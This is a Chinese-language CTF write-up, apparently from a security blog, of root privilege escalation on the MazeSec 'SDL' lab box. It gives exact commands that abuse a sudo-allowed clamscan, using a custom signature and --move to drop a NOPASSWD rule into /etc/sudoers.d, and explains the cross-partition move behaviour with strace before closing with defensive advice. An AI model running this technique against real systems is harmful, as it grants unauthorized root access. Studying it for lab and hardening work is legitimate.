MazeSec靶机SDL提权部分复盘:探究Linux跨分区移动底层逻辑
字数 2210
更新时间 2026-05-10 17:25:44

Linux 下 ClamAV 提权原理与实战教学:利用 --move 跨分区写入实现 sudo 提权

本文基于 MazeSec 靶机 SDL 提权场景,系统性讲解 ClamAV(clamscan) 在 sudo 白名单配置不当情况下的提权利用方法,重点剖析 Linux 跨分区文件移动底层逻辑,并通过 strace 调试揭示同分区与跨分区移动的本质差异。


一、背景与靶机信息

1.1 靶机环境

  • 靶机名称:SDL(MazeSec 原创靶机)
  • 作者:ll104567
  • 提权考点:
    • sudo 白名单配置不当
    • clamscan 命令 --move 参数可被滥用为任意文件写入
    • 结合 Linux 跨分区移动特性实现提权

1.2 初始环境

已获取普通用户 sublarge 权限,并获得如下 sudo 权限:

User sublarge may run the following commands on SDL:
(ALL : ALL) NOPASSWD: /usr/bin/clamscan

这意味着 sublarge 用户可免密以 root 权限执行 clamscan


二、ClamAV 与病毒库规则基础

2.1 ClamAV 简介

ClamAV 是一款开源、跨平台的杀毒引擎,核心组件为命令行工具 clamscan,常用于服务器环境。管理员常将其下放给普通用户用于扫描文件,因此 sudo 权限配置较为常见。

2.2 关键参数说明(提权利用点)

参数 作用
-d FILE/DIR 加载自定义病毒特征库
--move=DIRECTORY 将“感染文件”移动到指定目录

本次提权利用这两个参数实现:

  • 使用自定义特征库精准匹配恶意文件
  • 强制将文件移动到 /etc/sudoers.d/ 目录

三、ClamAV 支持的自定义规则类型

3.1 ndb 特征规则(本次使用)

  • 基础字符串匹配规则
  • 格式:病毒名:优先级:偏移量:特征值

示例(十六进制):

echo "Exploit:0:0:7375626c6172676520414c4c3d28414c" > /tmp/evil.ndb

对应明文字符串:

sublarge ALL=(ALL) NOPASSWD: ALL

3.2 hdb 哈希规则

  • 基于 MD5/SHA1/SHA256 的完整文件匹配
  • 格式:哈希值:文件大小:病毒名

3.3 ldb 逻辑规则

  • 多条件组合匹配
  • 支持逻辑运算符(AND / OR / NOT)

3.4 YARA 兼容规则

  • 原生支持 YARA 规则
  • 适合跨工具复用

选择 ndb 的原因

  • 编写简单
  • 精准匹配 sudo 提权字符串
  • 无需复杂逻辑

四、提权场景一:/tmp 目录(跨分区·成功)

4.1 构造恶意文件与特征库

echo "sublarge ALL=(ALL) NOPASSWD: ALL" > /tmp/x
echo "Exploit:0:0:7375626c6172676520414c4c3d28414c" > /tmp/evil.ndb

4.2 执行 clamscan

sudo /usr/bin/clamscan -d /tmp/evil.ndb --move=/etc/sudoers.d/ /tmp/x

4.3 日志关键输出

Invalid cross-device link
traverse_rename: Failed to rename
/tmp/x: moved to '/etc/sudoers.d/x'

4.4 提权验证

sudo -l
# 输出包含:
(ALL) NOPASSWD: ALL

sudo su
# 成功获取 root

4.5 文件权限分析

ls -la /etc/sudoers.d/x
-rw------- 1 root root 33 Apr 25 23:00 x
  • 属主:root
  • 权限:600
  • sudo 正常加载规则

提权成功原因:跨分区移动触发复制重建,文件由 root 进程创建。


五、提权场景二:/home 目录(同分区·失败)

5.1 构造文件

echo "sublarge ALL=(ALL) NOPASSWD: ALL" > /home/sublarge/a
echo "Exploit:0:0:7375626c6172676520414c4c3d28414c" > /home/sublarge/evil.ndb

5.2 执行移动

sudo /usr/bin/clamscan -d /home/sublarge/evil.ndb --move=/etc/sudoers.d/ /home/sublarge/a

5.3 日志差异

/home/sublarge/a: moved to '/etc/sudoers.d/a'

⚠️ 无 Invalid cross-device link 错误

5.4 sudo 报错

sudo: is owned by uid 1000, should be 0

5.5 文件权限

-rw-rw-r-- 1 sublarge sublarge 33 Apr 25 23:02 a

提权失败原因

  • 同分区移动仅修改路径
  • 文件属主仍为普通用户
  • sudo 强制校验:sudoers.d 下文件必须为 root 所有

六、strace 调试:底层机制对比

6.1 实验准备

ls -ni /tmp/payload_x
ls -ni /home/sublarge/payload_a

6.2 跨分区(/tmp → /etc)

sudo strace -e trace=rename,renameat,openat,unlink,chmod \
/usr/bin/clamscan -d /tmp/evil.ndb --move=/etc/sudoers.d/ /tmp/payload_x

关键系统调用:

  1. rename() → 返回 EXDEV
  2. openat() → 新建文件(权限 600)
  3. 写入内容
  4. unlink() → 删除原文件

📌 inode 发生变化 → 新文件


6.3 同分区(/home → /etc)

sudo strace -e trace=rename,renameat,openat,unlink \
/usr/bin/clamscan -d /tmp/evil.ndb --move=/etc/sudoers.d/ /home/sublarge/payload_a

关键系统调用:

  • renameat() → 成功

📌 inode 保持不变 → 文件本体未改变


七、核心结论:Linux 文件移动的本质

场景 移动方式 inode 属主 结果
/tmp → /etc 复制 + 重建 root ✅ 提权成功
/home → /etc rename 原子移动 不变 普通用户 ❌ sudo 拦截

关键知识点

  1. 同分区移动:仅修改目录项,不改变文件元数据
  2. 跨分区移动:必须复制内容并新建文件
  3. root 进程创建的文件:自然归属 root
  4. sudoers.d 安全限制:文件必须属于 UID 0

八、Linux 文件写入提权的四种模式总结

模式 行为 权限变化 适用场景
cp 覆盖 仅改内容 保留原权限 权限占位
mv 移动 跨分区重建 变为 root 本例
touch 新建 从头创建 继承进程权限 空白文件
追加写入 尾部追加 保留原权限 注入规则

九、防御建议(运维视角)

  1. 最小化 sudo 权限
    • 禁止普通用户执行 clamscan
  2. 限制 --move 目标路径
  3. 监控 /etc/sudoers.d/
    • 文件属主必须是 root
  4. 理解 tmpfs 与跨分区风险
    • /tmp 常为独立文件系统

十、总结

本次提权并非依赖复杂漏洞,而是利用:

  • Linux 文件系统底层行为
  • ClamAV 功能特性
  • sudo 配置疏漏

真正的安全,往往藏在“看起来很正常”的系统机制里。

相似文章
相似文章
 全屏